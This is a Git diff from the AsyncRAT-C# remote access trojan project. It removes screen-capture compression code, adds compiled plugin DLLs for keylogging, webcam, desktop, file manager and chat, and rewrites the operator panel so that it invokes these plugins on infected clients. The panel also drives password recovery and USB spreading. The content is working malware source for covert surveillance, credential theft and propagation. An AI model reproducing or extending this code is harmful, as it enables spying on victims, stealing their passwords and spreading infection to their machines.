using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if(FoundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*int maxHeight = 0;
|
||||
int maxWidth = 0;
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
if (finalUpdates[i].Height > maxHeight)
|
||||
maxHeight = finalUpdates[i].Height;
|
||||
maxWidth += finalUpdates[i].Width;
|
||||
}
|
||||
|
||||
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
|
||||
int XOffset = 0;*/
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
/*using (Graphics g = Graphics.FromImage(bmp))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(XOffset, 0));
|
||||
}
|
||||
XOffset += TmpBmp.Width;*/
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Length;
|
||||
long OldPos = outStream.Position;
|
||||
|
||||
if (UseJPEG)
|
||||
{
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
}
|
||||
else
|
||||
{
|
||||
base.lzwCompression.Compress(TmpBmp, outStream);
|
||||
}
|
||||
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*if (finalUpdates.Count > 0)
|
||||
{
|
||||
byte[] lele = base.jpgCompression.Compress(bmp);
|
||||
byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
|
||||
bool Won = lele.Length < outStream.Length;
|
||||
bool CompressWon = compressed.Length < outStream.Length;
|
||||
Console.WriteLine(Won + ", " + CompressWon);
|
||||
}
|
||||
bmp.Dispose();*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
finalUpdates.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
using (Graphics g = Graphics.FromImage(decodedBitmap))
|
||||
{
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
tempData = null;
|
||||
|
||||
byte[] buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
using (MemoryStream m = new MemoryStream(buffer))
|
||||
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
|
||||
{
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
}
|
||||
buffer = null;
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,49 +0,0 @@
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class JpgCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public JpgCompression(int Quality)
|
||||
{
|
||||
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this.encoderParams = new EncoderParameters(2);
|
||||
this.encoderParams.Param[0] = parameter;
|
||||
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
public void Compress(Bitmap bmp, ref Stream TargetStream)
|
||||
{
|
||||
bmp.Save(TargetStream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
int num2 = imageEncoders.Length - 1;
|
||||
for (int i = 0; i <= num2; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,52 +0,0 @@
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class LzwCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public LzwCompression(int Quality)
|
||||
{
|
||||
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this.encoderParams = new EncoderParameters(2);
|
||||
this.encoderParams.Param[0] = parameter;
|
||||
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
if (AdditionInfo != null)
|
||||
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
|
||||
{
|
||||
if (AdditionInfo != null)
|
||||
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
for (int i = 0; i < imageEncoders.Length; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,20 +0,0 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class NativeMethods
|
||||
{
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcpy(void* dst, void* src, uint count);
|
||||
}
|
||||
}
|
BIN
AsyncRAT-C#/Plugin/LimeLogger.dll
Normal file
BIN
AsyncRAT-C#/Plugin/LimeLogger.dll
Normal file
Binary file not shown.
BIN
AsyncRAT-C#/Plugin/PluginBase.zip
Normal file
BIN
AsyncRAT-C#/Plugin/PluginBase.zip
Normal file
Binary file not shown.
BIN
AsyncRAT-C#/Plugin/PluginCam.dll
Normal file
BIN
AsyncRAT-C#/Plugin/PluginCam.dll
Normal file
Binary file not shown.
BIN
AsyncRAT-C#/Plugin/PluginChat.dll
Normal file
BIN
AsyncRAT-C#/Plugin/PluginChat.dll
Normal file
Binary file not shown.
BIN
AsyncRAT-C#/Plugin/PluginDesktop.dll
Normal file
BIN
AsyncRAT-C#/Plugin/PluginDesktop.dll
Normal file
Binary file not shown.
BIN
AsyncRAT-C#/Plugin/PluginFileManager.dll
Normal file
BIN
AsyncRAT-C#/Plugin/PluginFileManager.dll
Normal file
Binary file not shown.
@ -16,6 +16,7 @@ using Server.Handle_Packet;
|
||||
using Server.Helper;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
/*
|
||||
│ Author : NYAN CAT
|
||||
@ -617,20 +618,19 @@ namespace Server
|
||||
|
||||
private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
//DLL Plugin
|
||||
//msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
//msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "capture";
|
||||
msgpack.ForcePathObject("Quality").AsInteger = 30;
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Command").AsString = "invoke";
|
||||
msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginDesktop.dll"));
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
msgpack.ForcePathObject("Host").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[0];
|
||||
msgpack.ForcePathObject("Port").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[1];
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID];
|
||||
@ -650,7 +650,11 @@ namespace Server
|
||||
}));
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -661,8 +665,9 @@ namespace Server
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("isON").AsString = "true";
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Command").AsString = "invoke";
|
||||
msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "LimeLogger.dll"));
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
@ -675,8 +680,7 @@ namespace Server
|
||||
{
|
||||
Name = "keyLogger:" + client.ID,
|
||||
Text = "keyLogger:" + client.ID,
|
||||
F = this,
|
||||
Client = client
|
||||
F = this
|
||||
};
|
||||
KL.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
@ -707,7 +711,7 @@ namespace Server
|
||||
Name = "chat:" + client.ID,
|
||||
Text = "chat:" + client.ID,
|
||||
F = this,
|
||||
Client = client
|
||||
ParentClient = client
|
||||
};
|
||||
shell.Show();
|
||||
}
|
||||
@ -725,8 +729,9 @@ namespace Server
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Command").AsString = "invoke";
|
||||
msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginFileManager.dll"));
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
@ -740,8 +745,8 @@ namespace Server
|
||||
Name = "fileManager:" + client.ID,
|
||||
Text = "fileManager:" + client.ID,
|
||||
F = this,
|
||||
Client = client,
|
||||
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop")
|
||||
ParentClient = client,
|
||||
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "FileManager")
|
||||
};
|
||||
fileManager.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
@ -750,7 +755,11 @@ namespace Server
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
@ -771,7 +780,11 @@ namespace Server
|
||||
new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black);
|
||||
tabControl1.SelectedIndex = 1;
|
||||
}
|
||||
catch { }
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -836,7 +849,7 @@ namespace Server
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
|
||||
msgpack.ForcePathObject("Packet").AsString = "usb";
|
||||
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread);
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
@ -846,7 +859,11 @@ namespace Server
|
||||
new HandleLogs().Addmsg("Sending USB Spread..", Color.Black);
|
||||
tabControl1.SelectedIndex = 1;
|
||||
}
|
||||
catch { }
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -1259,8 +1276,9 @@ namespace Server
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Command").AsString = "invoke";
|
||||
msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginCam.dll"));
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
@ -1283,7 +1301,11 @@ namespace Server
|
||||
}));
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
7
AsyncRAT-C#/Server/Forms/FormChat.Designer.cs
generated
7
AsyncRAT-C#/Server/Forms/FormChat.Designer.cs
generated
@ -42,6 +42,7 @@
|
||||
| System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.richTextBox1.BackColor = System.Drawing.SystemColors.Window;
|
||||
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||
this.richTextBox1.Enabled = false;
|
||||
this.richTextBox1.Location = new System.Drawing.Point(12, 12);
|
||||
this.richTextBox1.Name = "richTextBox1";
|
||||
this.richTextBox1.ReadOnly = true;
|
||||
@ -52,6 +53,7 @@
|
||||
// textBox1
|
||||
//
|
||||
this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
|
||||
this.textBox1.Enabled = false;
|
||||
this.textBox1.Location = new System.Drawing.Point(0, 384);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new System.Drawing.Size(757, 26);
|
||||
@ -60,7 +62,6 @@
|
||||
//
|
||||
// timer1
|
||||
//
|
||||
this.timer1.Enabled = true;
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||
//
|
||||
@ -83,8 +84,8 @@
|
||||
}
|
||||
|
||||
#endregion
|
||||
private System.Windows.Forms.TextBox textBox1;
|
||||
public System.Windows.Forms.RichTextBox richTextBox1;
|
||||
private System.Windows.Forms.Timer timer1;
|
||||
public System.Windows.Forms.Timer timer1;
|
||||
public System.Windows.Forms.TextBox textBox1;
|
||||
}
|
||||
}
|
@ -11,13 +11,17 @@ using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using System.Threading;
|
||||
using Server.Helper;
|
||||
using System.IO;
|
||||
|
||||
namespace Server.Forms
|
||||
{
|
||||
public partial class FormChat : Form
|
||||
{
|
||||
public Form1 F { get; set; }
|
||||
internal Clients Client { get; set; }
|
||||
public Clients Client { get; set; }
|
||||
public Clients ParentClient { get; set; }
|
||||
|
||||
private string Nickname = "Admin";
|
||||
public FormChat()
|
||||
{
|
||||
@ -28,34 +32,46 @@ namespace Server.Forms
|
||||
{
|
||||
if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text))
|
||||
{
|
||||
richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "chatWriteInput";
|
||||
msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text;
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
textBox1.Clear();
|
||||
try
|
||||
{
|
||||
richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "chatWriteInput";
|
||||
msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text;
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
textBox1.Clear();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void FormChat_Load(object sender, EventArgs e)
|
||||
{
|
||||
string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin");
|
||||
if (string.IsNullOrEmpty(nick))
|
||||
this.Close();
|
||||
else
|
||||
try
|
||||
{
|
||||
Nickname = nick;
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "chat";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin");
|
||||
if (string.IsNullOrEmpty(nick))
|
||||
this.Close();
|
||||
else
|
||||
{
|
||||
Nickname = nick;
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Command").AsString = "invoke";
|
||||
msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginChat.dll"));
|
||||
ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void FormChat_FormClosed(object sender, FormClosedEventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "chatExit";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
try
|
||||
{
|
||||
Client?.Disconnected();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void Timer1_Tick(object sender, EventArgs e)
|
||||
|
@ -26,32 +26,40 @@ namespace Server.Forms
|
||||
public string FullFileName;
|
||||
public string ClientFullFileName;
|
||||
private bool IsUpload = false;
|
||||
|
||||
public string FullPath { get; set; }
|
||||
public FormDownloadFile()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (!IsUpload)
|
||||
if (Client.TcpClient.Connected)
|
||||
{
|
||||
labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}";
|
||||
if (Client.BytesRecevied >= FileSize)
|
||||
if (!IsUpload)
|
||||
{
|
||||
labelsize.Text = "Downloaded";
|
||||
labelsize.ForeColor = Color.Green;
|
||||
timer1.Stop();
|
||||
labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}";
|
||||
if (Client.BytesRecevied >= FileSize)
|
||||
{
|
||||
labelsize.Text = "Downloaded";
|
||||
labelsize.ForeColor = Color.Green;
|
||||
timer1.Stop();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}";
|
||||
if (BytesSent >= FileSize)
|
||||
{
|
||||
labelsize.Text = "Uploaded";
|
||||
labelsize.ForeColor = Color.Green;
|
||||
timer1.Stop();
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}";
|
||||
if (BytesSent >= FileSize)
|
||||
{
|
||||
labelsize.Text = "Uploaded";
|
||||
labelsize.ForeColor = Color.Green;
|
||||
timer1.Stop();
|
||||
}
|
||||
Client.Disconnected();
|
||||
this.Close();
|
||||
}
|
||||
}
|
||||
|
||||
|
61
AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
generated
61
AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
generated
@ -52,14 +52,14 @@
|
||||
this.dELETEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.createFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
|
||||
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
